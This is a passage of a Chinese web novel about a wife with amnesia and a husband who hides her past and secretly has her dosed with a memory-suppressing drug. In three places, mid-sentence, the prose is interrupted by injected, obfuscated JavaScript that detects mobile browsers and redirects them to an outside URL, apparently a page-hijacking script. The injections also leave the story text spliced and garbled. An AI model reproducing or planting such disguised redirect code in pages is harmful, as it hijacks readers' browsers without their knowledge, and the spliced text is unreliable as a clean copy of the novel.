她瞥了眼他唇角的笑意,又盯着怀中软绵绵的一团,心中柔软得不成样子。 “你喜欢猫啊?” 宋衍的目光一直停留在沈遥面孔上,“一般吧,但这小家伙可怜得紧,我又想起诺诺一向喜爱这些,便捡了回来,也好给你作伴。” 沈遥伸指轻轻点了点小猫的脑袋瓜,昨日心头的不快,以及这些天对于陌生与空虚的恐惧,瞬间烟消云散,满眼只剩下这小家伙。 又见他小心翼翼讨好,心底生出了些内疚。 自己的问题,下人的多嘴,又与他有何干系? 着实不该迁怒啊。 她心想,虽然自己的夫君嘴上说一般,可既然将这小家伙带回来,定然是心善之人。 沈遥转头让锦书准备好热水,干净的帕子,以及羊奶。 交代完,她心头一凛,倏然反应过来,低喃:“羊奶……” 她失了记忆,却潜意识知晓这小奶猫得吃羊奶,似乎是本能了然于心。 宋衍看出她的疑惑,道:“诺诺心善,小时候养过猫,也是从外面捡回来的。看来即便忘了,有些事情却是刻在心上的。” “只可惜……诺诺对我,真是毫无印象啊。” 他的话语涩涩的,开始卖惨,似乎在与猫比较,沈遥对他又加深了几分内疚。 她正想张嘴说点什么弥补时,锦书和南风已经带着备好的东西来到了屋内,她最终还是没说。 她观察着南风,比自己夫君稍微矮上一些,却是个孔武有力的男子,皮肤黝黑。 宋衍见她的视线,眉头不可察觉地微蹙,又很快松开,“这是我的书童,南风,平日都会跟着我出门。” 沈遥一笑,朝着对方颔首致意。 南风还未来得及说话,结果就被宋衍高大的身影隔绝开,又命他们退下。 他的意图表现的不要太明显。 沈遥收回视线,没说什么,只是低头时忍不住好笑地勾了下唇。 沈遥从宋衍怀中接过小奶猫,将帕子用热水浸湿,一点点擦拭着小猫身上的脏物,宋衍在旁打着下手,时不时指导一下。 小猫身上被擦干,又喝了奶。 沈遥的视线停留在它身上,宋衍的视线则一直停留在沈遥身上。 “诺诺给这猫起个名?” 沈遥眨眨眼,这似乎可难倒了她,冥思苦想许久,竟都找不到合适的名字。 “诶,我不行,还是你来。” 宋衍笑笑,直接道:“那就叫小橘好了。” “这么随便?” “若想出更好的,再换名字?” “也好。” 这天,两人一同照顾小橘,又陪着玩了一整日,连晚膳都摆到寝室之中来用。 沈遥见小橘太小,便将其放到床上与自己同眠,宋衍顺势跟了上来。 小橘精气神十足,撒欢儿地在两人与隆起的被褥之间钻过来,又钻过去,扑腾了许久。 忽然,沈遥发现了这只小猫的不同,惊讶道:“诶,它的这只爪竟然只有三个指头。” “看起来是天生的,它可真够特别。” 宋衍一手撑着头,感受到沈遥浑身散发着一股柔和,随着笑道:“若将来你做了母亲,有了我们的孩子,或许也是这般。” 捏着小橘爪子的沈遥撩眼看过去,有几分恍惚。 这是他第二次提起生孩子。 也是,他们都已成亲,许多事情定是避无可避。 再加之昨日听到下人的嘲讽,她也知晓,如今这情况,自己在家中的地位,其实都依托于眼前男人。 可是一旦想到自己要与他完成周公之礼,心底没来由的别扭。 难道是因为陌生的原因么? 宋衍看着她瞳孔中的神色变换,忽而抚额一笑,“好了,逗你呢,我之前的承诺可一直做数。” 他喜欢她这副单纯天真,又有些不知所措的模样。不再是高高在上,永远走在他的前方,令他遥不可及。 心底一动,他伸手想要揉揉她发顶。 沈遥还在沉思中没有回神,见那只手来,下意识往后躲了一下。 宋衍的手停在空中,不过他并未多言,眼皮弱不可见地跳了一下,最后收回手,“下次不这样说了,是我太过着急。” “不。”沈遥呼出一口长气,想要解释。 她知晓,身为妻子,她不应如此。 可她就是这般矫情,意识深处似乎在隐隐抗拒,还是什么也没说,只道了一声“抱歉”。 “诺诺永远不用对我说抱歉二字,不管诺诺如何选择,都没关系。”宋衍声音还是这般温柔。 两人之间短暂的龃龉很快被宋衍所忽略,见他神色如常,沈遥也渐渐放下心中巨石,继续逗弄那隔着被褥,啃她脚趾的小橘。 没想到这一玩便是极晚,她的夫君竟困得直接合衣睡了过去,也是许久后,她转过头才发觉。 沈遥盯着他烛光下柔和的脸,心软没将他赶走。 宋衍第一次留在了此地过夜,睡在了床的外侧。 沈遥想着刚才的事,起身轻手轻脚地帮他脱去了鞋履,算是履行了作为妻子的一点点职责。 而后…… 而后便没了更多。 小橘主动钻到她怀中,发出咕噜声响。 本以为身旁躺了个男人会难以入眠,却没想到自己很快便睡了去。 只她不知,在呼吸逐渐平稳后,身旁的人睁开双眼,撑起身子,借着拔步床外的烛光,一直盯着她看。 他转头看看自己被整齐摆在地上的鞋履,又看看钻在她柔软怀中安睡的猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181391|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。两人之间隔着距离,界限分明,不碰触他衣摆丝毫,他无奈摇摇头,将视线又落回她在黄光下被晕染的脸。 诺诺……阿姐…… 阿姐……诺诺…… 他一边在心中低语着,一边微笑起来。 一大清早,毛茸茸软绵绵的一小只踩到沈遥脸上,沈遥被坐醒了。她睁开眼睛,对这样的无礼举动并不抗拒。 而身旁也已空荡,床铺上带着些许冰凉。 自从养了小橘之后,两人之间的关系更近了一步。 而宋衍依旧担忧着沈遥的情绪,连续两日都待在家中没有出门。 沈遥怕他落下功课,可他却依旧笑道:“当官的新婚都有婚假,不过几日罢了,夫人便心疼心疼为夫,可好?” 见他这样说,她自不再多言。 他是男人,有自己的盘算。 只是这日,小橘喝下羊奶后便吐了不少,沈遥吓一跳,寻来宋衍,想知他可有何经验。 然而他竟同样一问三不知,两人大眼瞪小眼,片刻后,他提出了主意:“不如……找郎中来看看?” “郎中!”沈遥咬唇,“郎中会治猫吗?” “……” 不知所措之时,另一柔和的声音出现在敞开的门口,“爷,夫人,不如让奴婢看看?” 沈遥转过头去,没想到竟是楚绣那丫头。自从那日后院梨树下,已是多日未见。 她凝视着这个低着头,柔柔弱弱,长相清秀的少女。 宋衍没有发话,沈遥问:“你有这经验?” “是。”楚绣屈膝,“奴婢曾经学过些猫狗方面的医术,这一月大的小奶猫是要更加难养些。” “那你过来看看。”沈遥虽然不喜她,可为了猫,也不过分计较。 其实严格来说,那日嚼舌根的不是她。 楚绣接了沈遥示意上前,只是稍看了一番,“其实没什么大的问题,不过是小猫不知饥饱,喝多了奶,只需揉肚拍嗝便好。” 沈遥看着她娴熟的手法,而自己夫君的眼睛并未乱瞟,只结束后,才终于将视线落在这个丫鬟身上。 他道:“下去领赏,以后常来夫人院中帮衬着。” “是,多谢爷,多谢夫人。” 沈遥听懂了他的意思,自然是让帮衬着照顾小橘,这是应该的。 在楚绣行礼告退时,沈遥也看到了,丫头的眼中有不甘与骄傲。 连绵不绝的细雨清洗着夏日的闷热,与蝉鸣混杂一起。 楚绣来到沈遥身边,虽日日打扮得花枝招展,却也规矩,认真做事,不弄出幺蛾子。 沈遥并非是个记仇的性子,看久了,也就只将人当作一个爱美的姑娘。 反倒是锦书话愈发多起来,看不顺眼楚绣,只要宋衍没来房中,便要在她耳边唠叨不停。 “夫人也真不长点儿心,姑爷只要一来内院,楚绣这丫头便打着照顾猫的幌子,来姑爷面前转悠,这存的什么心思,不明摆着?” 沈遥莞尔一笑,“那你想我如何?” 锦书凑近几分,“夫人每日都不让姑爷留宿,虽说姑爷满心都是夫人,可身为男人,这般掉面子的事儿,时间久了,心底也会生出怨怼。” “夫人不若……姑爷下次来时,便将人留住吧。” 沈遥被锦书唠叨得有些无奈,“我想先寻回记忆……” “那夫人若是一直都想不起来了呢?这般对姑爷又可否公平?” “你怎跟个婆婆似的,这般操心?”沈遥从妆奁中找出一支简单的玉簪给她递去,虽然话语带着打趣,面上却是笑意,并不恼。 “夫人啊……”锦书似乎还是有些着急。 沈遥打断,“好了锦书,我知你关心我,可我到底,过不去心里那坎儿。” 她又压低声线道:“况且,时衍似乎也并不关注楚绣啊,只是个丫头罢了,何须担忧?” 这话刚说完,房外院中忽然传来一声惊叫。 沈遥轻轻掀开支摘窗,露了一条缝往外一看,竟是楚绣跌倒在了自己夫君面前,轻薄的纱裙被雨露沾湿,那衣下肌肤更是被透得格外明显。 活像一对奸夫淫//妇。 5. 第 5 章 沈遥面无表情地看着院中的两人。 夫君并未搀扶,视线落在小丫头身上,不知两人说了什么,他旋即从怀中掏出一方帕子递给她,而后颔首迈步离开,往自己屋子而来。 楚绣手中握着夫君的帕子,视线追随他背影,双颊通红,眸光潋滟。 好吧……楚绣这丫头,确实会些手段。 沈遥合上窗,转过头便看到锦书眼中传达的话语:看吧,看吧,我说什么,就说会这样。 她未多言,只收回视线垂眸。 这时,宋衍走进屋子,直往沈遥而来,对她温柔一笑,没有看锦书,下令:“退下吧,余下的我来给夫人弄。” “是。”锦书不敢有违,将手中还未来得及戴上的玉簪放回,行礼退出。 人离开后,宋衍从妆奁中挑出一芙蓉金簪,便想要往沈遥发髻上戴,结果她声线毫无起伏道:“我今日要簪那支玉的,芙蓉金簪这般艳,花枝招展的成何体统。” 宋衍一怔,看了一眼手中芙蓉金簪,他明明记得,她曾经是最喜艳丽打扮。 他微微歪过头,还是将簪子放回,拿过锦书留下的玉簪,为她戴在发髻上,动作轻柔,小心翼翼。 沈遥目不斜视地看着铜镜中的自己,道:“我不要戴在左边,我要戴在右边。” 宋衍不知为何,自己竟汗毛直立,听话地将那簪子拔下,重新插到右边,“这下可好了?” 沈遥“嗯”了一声,也不再多言。 宋衍犹豫道:“诺诺怎么了?又生气了?” 沈遥突然回神,从铜镜中瞥他一眼。 什么叫又生气了? 她有吗? 她没什么可气的吧? 可是……她身为这一家主母,叫下面丫鬟看不起自己,失了脸面,总是让人不舒服的。 她在弹指间沉吟,而后摇头,脸上带起微笑,“你看错了,我没生气,只是今日就想这样戴簪子罢了,和衣裳搭,没想到竟惹了你多想。” 宋衍细细观察着她的神情,见她没有皱眉,笑容也并不僵硬,算是松了口气。 他道:“我来是想与你说件事的。” “何事?” “义父和义母明日从城中来看咱们,之后便无需回门了。” 沈遥一怔,“不回门了?这……是不是不太合规矩?” 宋衍说:“他们准备搬离长安,往扬州去,刚好明日便出发,如此也是顺路经过葫芦镇。” “离开去扬州?”沈遥感到分外不可思议。 他说:“嗯,扬州富庶,机会多,许多商贾都往那边去。而如今世道……也不算安稳,山匪横行,好在这葫芦镇乃一方少有的安逸之所。” “他们也是听了你受伤的消息,不愿你再出镇四处乱跑,才特意往这边路过一趟。” 听起来并无甚问题,可沈遥还是直觉不太对劲。 她看着宋衍松弛的神情,轻轻摇摇头。 或许是自己想太多。 她又问:“他们知道,我失忆的事儿吗?” 宋衍停顿一会儿,才道:“还不知,诺诺可需我为你遮掩?” 沈遥听他这般提议,心底感激,“嗯,我着实怕他们因此而伤心,万一去扬州路上还忧虑着,出了差池可就不好了。” “那便拜托了,时衍。” 他笑着伸手摸了摸她头顶,这一次她未躲开。 “你我夫妻,绝不可如此客气。” …… 楚绣离开时扯着手里的帕子,鞋底裙摆都沾了泥泞,好不狼狈,想到刚才爷的反应,嘴里气得牙痒痒。 她刻意弄湿了自己的衣裳,将身材尽显,却没想到,时爷面无表情道:“擦干净,别碍了夫人眼。” 当下脑子炸了一般,眼睛立马就红了,可却仍摆出一副情意绵绵模样,好不叫人看低。 可她不相信,以她的手段,还拿不下一个没有过女人经验的男人。 …… 为了见义父义母,沈遥特意打扮了一番,不算太艳,也不如平日那般清素。 那两人来到时府时,正过晌午。马车停在府外,装满了好些个箱子,还有大包小包的行李,果真是要远行。 宋衍告诉沈遥,义父丁大海,在做布匹生意,与曾经的沈家在生意上往来甚广。夫妻二人育有一子,乃沈遥义兄,如今在扬州做着生意。 沈遥对他们的第一印象便是,老实人。 长得普通又老实,说话也老实,特别是丁大海,唯唯诺诺。 她和宋衍一同入了正堂中,朝着坐在上方的人行晚辈之礼。 丁大海和丁夫人身子一颤,互相看了一眼,神情交接,待下面人起身后,他们暗中见宋衍扫视过来,才乐呵呵笑起,“快,快坐。诺诺身上还带着伤,听女婿说,还是得多卧床静养。” 沈遥心头有些紧张,面上却是镇定,“义父,义母,莫要忧心,这些时日,女儿身子已是好了许多。就突然听到你们要去扬州的消息,竟还没来得及孝敬你们。” 丁夫人诶诶两声,笑道:“能亲眼见诺诺出嫁,嫁得如此良人,我们也已是欣慰。” “就是这天可怜见的,怎的迎亲路上就遇了匪盗,明明大吉之日。”说着说着,丁夫人竟眼红起来,从怀中抽出帕子擦了擦自己眼角。 她口中话不停,“如今我们也不求大富大贵,只求平安,若是你俩能早日生个大胖小子出来,我们当父母的,也就无憾了。” 沈遥身子一僵,没想到话题能转移这样快,她躲开丁夫人视线,“……义母说的是。” 宋衍见状,笑着悄悄拍了拍她的手,以示安抚。 “站着说话干嘛,都是一家人,快坐啊。”丁夫人放下手中帕子,见沈遥还这般客气,立刻摆手,招呼起来。 待两人落座后,丁夫人继续说起话,“从很早我们便看得出来,女婿是个极好的,性子和善,生活作风也好,从不去那风月之地,一心都扑在你身上。能看到你们俩好好过日子,你父母在天之灵,也会为你们高兴。” 丁夫人一直絮絮叨叨说着话,倒是丁大海低着头,格外沉默寡言。 许久后,丁夫人看着丁大海蹙眉,案下的手拍了拍丁大海,压着嗓子道:“你说点儿话啊,这么些日子不见女儿,就这副死鱼脸的样子,晦不晦气!” 沈遥一怔,正想说无碍,宋衍拉了拉她袖子,附身到她耳边轻声说:“没事儿,义父义母平日便是这般相处,感情甚笃。若是太过客气,反倒被他们看出来。” 沈遥将想要脱口的话语立刻收回,看回宋衍点头,给了一他个“还好提醒了我”的眼神。 宋衍勾唇一笑,低下头摸了摸鼻子。 丁大海被丁夫人教育过后,这才堪堪开口:“诶,我也是没啥可说的,看你们婚姻幸福,我也高兴,老沈一向最疼女儿,如今也可安息。” 丁夫人瞪了他一眼,转过头朝小夫妻道:“老丁确实不会说话,一直都如此,诺诺你也知道,今日就别怪他了。” 沈遥说:“自然不怪,让义父不自在了,才是女儿的不是。” “将来若有机会,我们定去扬州看望。听闻那边生活与长安大不相同,我可是一直都想去看看的。” “……呃。”丁大海听闻此话后一时间滞住,视线朝着宋衍看去,直到对方眉头一皱,丁夫人案下的手又用力拍了一下他大腿。 丁夫人立刻笑道:“那自然得来的,只是女儿家嫁了人,还是先在夫家好好过日子。我们在扬州生活自是很好,以后也常会给你寄家书,不叫你们担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181392|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沈遥并没看到几人的小动作,只是觉得丁大海的反应有些奇怪,但并未多想。 “听……夫君说,如今世道不太平,多有山匪出没,义父义母这长途跋涉,可会遇到危险?” 宋衍低着头,眸色暗了下去。 夫君…… 丁夫人道:“诺诺放心,我们有着家丁护卫一起,便没什么可怕的。” “那就好。”沈遥颔首,“即便如此,还是万事小心。” “诶,是,诺诺有心了。倒是你,好好在葫芦镇养着身子,莫要出镇子乱晃,也好叫我们在扬州安心。” 几人一顿寒暄,最后是宋衍说怕耽误久了,赶不上丁家夫妇在天黑前到客栈,沈遥一听便催促着两人离去,将人在时府门口送别。 小镇路上皆是行人与商贩,熙熙攘攘,格外热闹。 沈遥看着马车远去,站在原地许久,吹着带雨气的清风。 宋衍凝视着她,安慰道:“以后还有机会再见的。” “嗯。”沈遥扭头,眼底闪光。 似乎因着分别,心绪不高。 宋衍问她:“今日见到义父义母,可有想起些什么?” 沈遥摇头,“没有。” “不开心了?” “就……不孝吧。” 说完后,她便转身回了时府,步伐似灌了铅一般沉重。 沈遥回到主院后便没再出来,一直到暮色四合,锦书才跑来屋中,带着喜悦道:“夫人!快来!姑爷给夫人准备了东西。” 沈遥放下手中没怎么翻动过的话本,收回沉思,好奇地起身跟着锦书来到另一间屋子。 宋衍正站在房中,见沈遥进入后,便抬了抬头,示意她看向案上箱笼。 “快看看,送你的。” 她上前将箱笼打开,定睛一看,发现里面是两套由浮光锦制成的衣裳,一件藕粉,一件淡红。 本以为是裙衫,没想到展开后竟是两件英气十足的圆领缺胯袍。 平日皆是男子衣服,这两件却是女子款式。 沈遥双眼一亮,没想到竟是这种风格的服制,第一眼便极为喜爱。 宋衍看着她情绪恢复,也跟着高兴起来,“这种衣裳也是近两年才在女眷中流行起来,诺诺最是喜欢。曾经有段时间,诺诺都不愿穿裙,只喜欢这袍子。” “嗯,我是很喜欢的。”沈遥拿着那件淡红色的袍起身,一瞥宋衍。 宋衍忍不住又是一笑。 “想换便去换上,若诺诺想,我再叫人多做几件。” 沈遥欣喜,在锦书的陪同下到屏风后将这身圆领缺胯袍换上,又将原本的发髻换成束发,簪上一纹路简单的金簪,与淡红色的衣袍相得益彰。 走出后,宋衍上下打量,也是含笑点头,带着她到一有人高的铜镜前看着。 在穿上后,整体的气质都变得与往日素净青衣不同,反倒是朝气与活泼。 沈遥真的很喜欢。 当她在铜镜前转了一圈,再度扫视过后,脑袋骤然传来一阵阵痛,零零碎碎的画面涌入脑海之中。 “诺诺,你今日的打扮好特别。” “诺诺,你真的很爱穿淡红的衣裳啊,如今长安女子都跟风,各个学你这样穿。” “快了,诺诺,我不会让你等很久,这次我一定会娶你。” 随着画面闪现后又消失,沈遥按压着太阳穴一个趔趄,宋衍心急如焚地将她扶住,“怎么了?诺诺,是头疼吗?我这就去叫郎中来!” 她闭着眼睛,脑袋中的疼痛渐渐散去,许久后,她伸手拉着他的衣袖,气喘道:“我想起来了,穿上这身衣服,我便想起来了,很熟悉,真的很熟悉。” 宋衍不敢置信地又问了一声:“想起来了?” 6. 第 6 章 宋衍骤然浑身僵硬,抓着她手臂的手变得冰凉。 一股心慌与恐惧从他脚后跟,逐渐顺着脊椎蔓延至四肢。 原来比死亡更可怕的,是等待她审判的过程。 他搀扶着沈遥坐到榻上,倒了一杯温水递至她唇边,伺候着她饮下,神色严肃地盯着她。 沈遥揉着额角,依然在缓解着头疼症状,并未察觉到身旁人的紧张。 “好些了吗?”宋衍努力控制住自己的神情,语调也一如既往的温柔。 沈遥倚靠在引枕上,闭目养神,待心绪平复,才慢慢睁眼,看着宋衍。 她虽不记得自己见过什么人,可却也知,面前的夫君真的是一个好看到极致,又性子温和的人。不难怪院中的丫鬟怀着心思。 宋衍喉结上下滚动着,故作平静道:“诺诺说想起来了,想起了什么?” “我想起你了!”沈遥说。 宋衍心底一咯噔,握着水杯缘壁的手一紧,在他的拇指与食指上压下一条线。 他将水杯放回案几,不动声色地低下头,没有立刻说话。 沈遥歪头,眯眼仔细回忆着,“我脑海中闪过,我穿着淡红色圆领缺胯袍的画面。在一处山顶之上,四周遍地野花,很美。一个我看不清面孔的男人,站在我面前,说我穿这身衣服很好看。” “还说,不会让我久等,会很快来娶我。” “这个人,一定是你吧?” 毕竟他娶了她,成了自己夫君,又知道她喜欢这样的衣裳。 纵然看不清面孔,可除了他,还能是谁。 宋衍心底紧绷的弦瞬间松了下来,肩膀不可察觉地垮了一下。 很快,他便整理好自己情绪,看向沈遥,笑道:“是我。” “是我啊,诺诺可算想起来了。” 沈遥道:“嗯,只可惜,只想起了那么多。果然,接触曾经熟悉的事物是有用的,说不定很快,我便能想起全部了。” 宋衍袖下双拳攥紧,“是啊,太好了,这是好事啊。” “不过,诺诺也莫要给自己太大压力,若每次回忆都这样头疼,我心底也是会难受。” 沈遥看出他眼中的心疼,安抚道:“放心吧时衍,其实就那一小阵子头疼,过后便没有感觉了。” 她因着这一丝碎片记忆,心情大好起来,也对未来找回更多记忆充满期待。 “时衍,若我以前还有什么特别喜欢的,或是特殊的东西,你方便的话,都可以给我看看,或许能想起更多。” 宋衍嗓子眼似乎堵了一口气,淡笑片刻后,道:“……好,只要有,我便找来给你。” 他努力咽下那股气,“诺诺刚才的记忆中,可还有更多细节,记得所在的山,是哪儿吗?” 沈遥抿唇摇头。 宋衍伸手,摸了摸她的发顶,带着哄小孩子一般的语气,“光能想起这些,已是难得。那座山离葫芦镇不远,只是如今山匪猖獗,待日后有机会,我定带你再去看看。” “嗯。”沈遥有些口渴,又要了一杯水饮下。 “我记得你说过,我极爱这样的衣裳,甚至长安许多女子皆随我仿效。当真如此?” 宋衍同样给自己倒了杯水,自顾自饮下,而后擦去唇角的水渍,道:“你可别小看自己。” “别忘了,我们祖上和义父都是做什么生意的。你素来目光独到,随意搭配的衣饰,往街上一走,便能引得无数人效仿。” “也是。”沈遥觉得他说的有道理,淡然地昂了昂头。 宋衍好笑地看着她,“你从小便是外放的性子,不喜闺阁妇人那套规矩。好在长辈们也从不觉得女子不该抛头露面,我也同样。” “所以我也很喜欢看着你,穿上与众不同的衣服,行走在大街之上。” 沈遥有些意外,“你这么开明啊?” 宋衍忍不住又是一笑,反问她:“这些天相处下来,难不成你觉得我就是个老古板?” 沈遥从一旁拿过团扇,轻轻扇着,“嗯……还行。” “还行?”宋衍叹气,“说的这么勉强?” 沈遥“噗嗤”低笑了一声,又迅速将嘴角扯平,用手中的团扇点了点他胸口,一本正经道:“逗你的。” 宋衍无奈,“你也学会逗人了。” 沈遥说:“怎么?就能你逗我,不让我逗你了?” “让,自然是让的。”宋衍咬着唇笑。 他看她因着今日见过义父义母,穿上喜欢的衣裳,恢复一丝记忆这般开心,原本应也随着开心的。 可到底他不够大方,也不够沉稳。 陪着沈遥用过膳后,宋衍便以读书为由,主动离开内院,让她早些休息。 沈遥看着空荡下来的房间,嘟囔一声:“原本今日还想留下你的。” …… 宋衍离开内院后,大步走回书房,并让南风立刻将郎中带来。 即便已是宵禁,可南风还是很快将那郎中从睡梦中惊醒,又从床上拉来了时府中。 看到郎中后,宋衍面无表情问南风:“没弄出动静吧?” 南风恭敬回:“整个府邸的人都不知,夫人定然毫不知晓。” “嗯,你下去,守好房门。” “是。” 待书房只剩下宋衍与郎中两人后,他才居高临下,与跪在地上的郎中说:“她今日想起了一些零碎的片段。” 郎中一怔,直起身子回道:“回陛……” 宋衍眉头一皱,郎中身子抖了抖,改口道:“回时爷,夫人失了记忆,虽回想起全部的可能性不大,却也并非完全不可能。” “以如今的情况来看……” 宋衍道:“继续说。” “以如今情况看,夫人恢复记忆的速度是快了些,或许接下来,哪怕没有外界刺激,也能想起越来越多的往事。”说完后,郎中便害怕地又低下头,弓起身子。 宋衍沉默,听后心底涩然。 他握紧了手边的把手,眼神黯淡下去。 他问:“所以,她有可能,恢复全部记忆?” 郎中话语犹豫,却也不敢有任何欺瞒,“……是。” 宋衍垂眸思索了一下,问:“你可有何法,让她无法恢复记忆?施针?吃药?” 郎中咬牙,想了想,“小人倒是有一药方,服下后,可抑制夫人记忆的恢复。只是……” 宋衍道:“只是什么?” 郎中连续看了面前的人几眼,最后道:“是药三分毒,此药终究伤身,或致记忆衰退,或致头痛,亦或更多未知之害。” 宋衍不说话了。 书房中蜡烛被燃烧着,越来越短,而刻漏的声音无限重复着。 门窗皆被关死,没有一丝风从外透入,可是郎中却浑身发冷,跪在地上等待着,不敢多言一句。 不知过了多久,宋衍才说:“去把方子备好,想办法将弊处降到最低。若是夫人出了任何差池,你知道后果。” 郎中不敢有违,只能应下,“是,小人必定万分小心,把握好每一剂药的用量,尽可能避免药毒。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181393|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯,下去吧。” “是,是。” 郎中收到命令后,便马不停蹄离开书房,在迈出门槛后,南风将人又拦了下来,朝他递过去两大个金元宝。 他握在手中掂了掂,心底一喜,躬身道:“多谢时爷赏赐,小的定然竭尽全力。” 书房只剩下宋衍一人,他坐在案前,没有招呼任何人入内,也没有想要睡觉,更不敢去内院打扰沈遥,生怕她又想起些什么,让他难以应付。 在枯坐整夜,东方大白之时,他才终于起身,吩咐了小厮入内伺候洗漱更衣,又带了早膳,往内院而去。 这个时候,她该起了吧。 沈遥从床上醒来后,便回想着昨夜梦境。 她又做了那个怪梦,同样的房间,同样的白纸,同样的“永乐”二字。 不一样的是,这次的夫君比之上次更为猖狂,甚至给她悄悄下了药。 待她慢悠悠坐到铜镜前,锦书才低声开口提醒她,“夫人,姑爷一大早便来了内院等着,已经站了许久了。” 沈遥从令人脸红的梦境回神。 没想到他这么早来,掀开支摘窗,便看到外面那个一动不动的身影。 “他来了多久?” “有一个多的时辰了。” “这么久。他是傻了吗?让人进来吧。” 待将外面那尊木头请进屋内后,沈遥侧坐着,看着他手上端着的粥,已经糊成一团,看起来不太好吃。 宋衍似乎也有些尴尬,这才发现带来的早膳早已凉透,恍惚着将其递给锦书,让她重新备膳。 沈遥问他:“你今日怎的了?为何这么早来,就站在门外,也不进来,还端着粥。” “别人若是看见,怕以为你是妻管严,被赶到门外罚站了。” 宋衍看着她说:“当妻管严有何妨?我愿意当的。” 只要你别离开我。 沈遥飞快勾了下唇,“诶,你可别。” 锦书送来新的温热早膳,两人一同用过后,新的药也已煎好,送入了屋内。 沈遥看着那药,问:“怎么?还要喝药吗?前两日不是说可以不用药了吗?” “嗯。”宋衍道:“昨日见你头疼,我又去问了郎中,他说了,你现在内伤还未完全恢复,特别是头部的伤,还是得继续喝药的。” 说罢,他又补充了一句,“况且,这些药也能帮助记忆恢复,虽然可能性不大,到底还是对你好的。” 听他这么说,沈遥不再多问,直接抬起来,放到唇边。 宋衍一动不动地盯着她,脑海中回想起郎中说过的话。 弊处,药毒…… 记忆衰退,头疼,又或是其他预料之外的。 “等等。”他伸手抓住她正要服药的手腕。 沈遥被他吓了一跳,问他:“怎么了?” 宋衍沉默片刻,最后还是松开手,笑道:“这药烫,不吹一吹,就直接喝下去,不怕伤了舌头吗?诺诺。” “你可真是个老妈子。”沈遥无奈说他一句,而后还是听话地将药吹了吹,轻轻抿了第一口。 宋衍怔怔地看着,“怎么不继续喝了?” 沈遥蹙眉,抬头看着他问:“这药味道与之前的不一样了。” 宋衍心脏忽然停了一下,没想到她这都能尝出来。 “……” 沈遥忽然捕捉住他眼底瞬间的愣怔,又想到那糊了的白粥,他今日的异常,以及……那个不可言说的梦。 “时衍,你这是对我图谋不轨?” 7. 第 7 章 清晨的风带着花瓣从开启的支摘窗逃进屋内,轻飘飘地落在案几之上,扰乱了宋衍的心。 梨花院明明离得那么远,竟也能飞到眼前。 他脑子转的飞快,忽然从她发红的耳尖意识到什么。 还好他足够了解她。 他挑眉,问:“诺诺是怕苦吗?” 沈遥确实怕苦,味觉敏感,前些时日的药也是捏着鼻子硬塞。 她有些蔫了,但依然故作淡定,“没啊,我怎会怕?” “郎中为了让你好的快些,加了几味药。我还不知道你啊。”宋衍笑着将她手中的药拿过,竟直接憋着气喝下半碗。 他拿着帕子擦了擦自己的嘴角,点头,“嗯,确实挺苦的,难怪诺诺不喜。” “这样,以后你喝药,我都陪你喝,可好?” 沈遥看着他喝下这么苦的药,竟面不改色,长叹一声,“这药比黄连还苦,你就这样喝了?” 真够傻的。 她又叹了口气,“罢了,我好好喝药,这又不是你的药,药哪儿能随意乱喝?若你喝多了,伤了身子可不好。” 宋衍将药碗重新递给沈遥,闷笑着伸手弹了下她的额头,“诺诺乖,喝完药,给你奖励。” “什么奖励?”沈遥控制住想要摸自己额头的手,被他触碰过的地方似乎又开始发烫。 他没回答,只是抬了抬头,示意她喝药。 她实在没辙,于是捏着鼻子,闭上眼,把剩下半碗药饮下。 沈遥将空碗放回案几上,被苦到不受控制地张开嘴吸着空气,努力克制住想要哀嚎的欲望。 突然,一丝甜在嘴中蔓延开来,她睁开眼睛拿起含在嘴边的签子,插着一个女娃娃脸的糖人,长得像她。 “这……” 宋衍伸手将桌上那片梨花花瓣捡起,放在指尖揉捻着,看着她,身子忽然往前倾靠近,将那片梨花花瓣按在她的头顶上,轻声道:“今日专门去给诺诺买的,知道你从小就喜欢糖人。” 沈遥嘴中是甜腻的味道,面前的人是冷香的气息,被风灌入鼻腔,比窗外的雨气更为浓烈。 她呆呆地闻了一下,又猛地往后倾了下身子,回过神时,面前的夫君已经坐回原处,看着她傻笑。 她的夫君,有时是个男人,有时是个少年。 宋衍离开时顺便将空药碗带走,他一边走路,一边将碰触过沈遥的手指放在鼻尖下轻嗅,笑了笑。 宋衍并不知晓,自己喝了沈遥的药,是否会有更多不可预知的问题,直到那郎中听闻后,眼神带着闪躲,只建议他莫要再喝。 “为何?” “时爷,这药有另外一药毒,对女子无碍,只对男子有。” “什么药毒?” “……阳///痿。” “……” “不过时爷喝的不多,应无碍。” “应……” 宋衍面无表情,神色自若。他并未与郎中说,自己后来为了让沈遥安心,又陪着她喝了两日的药。 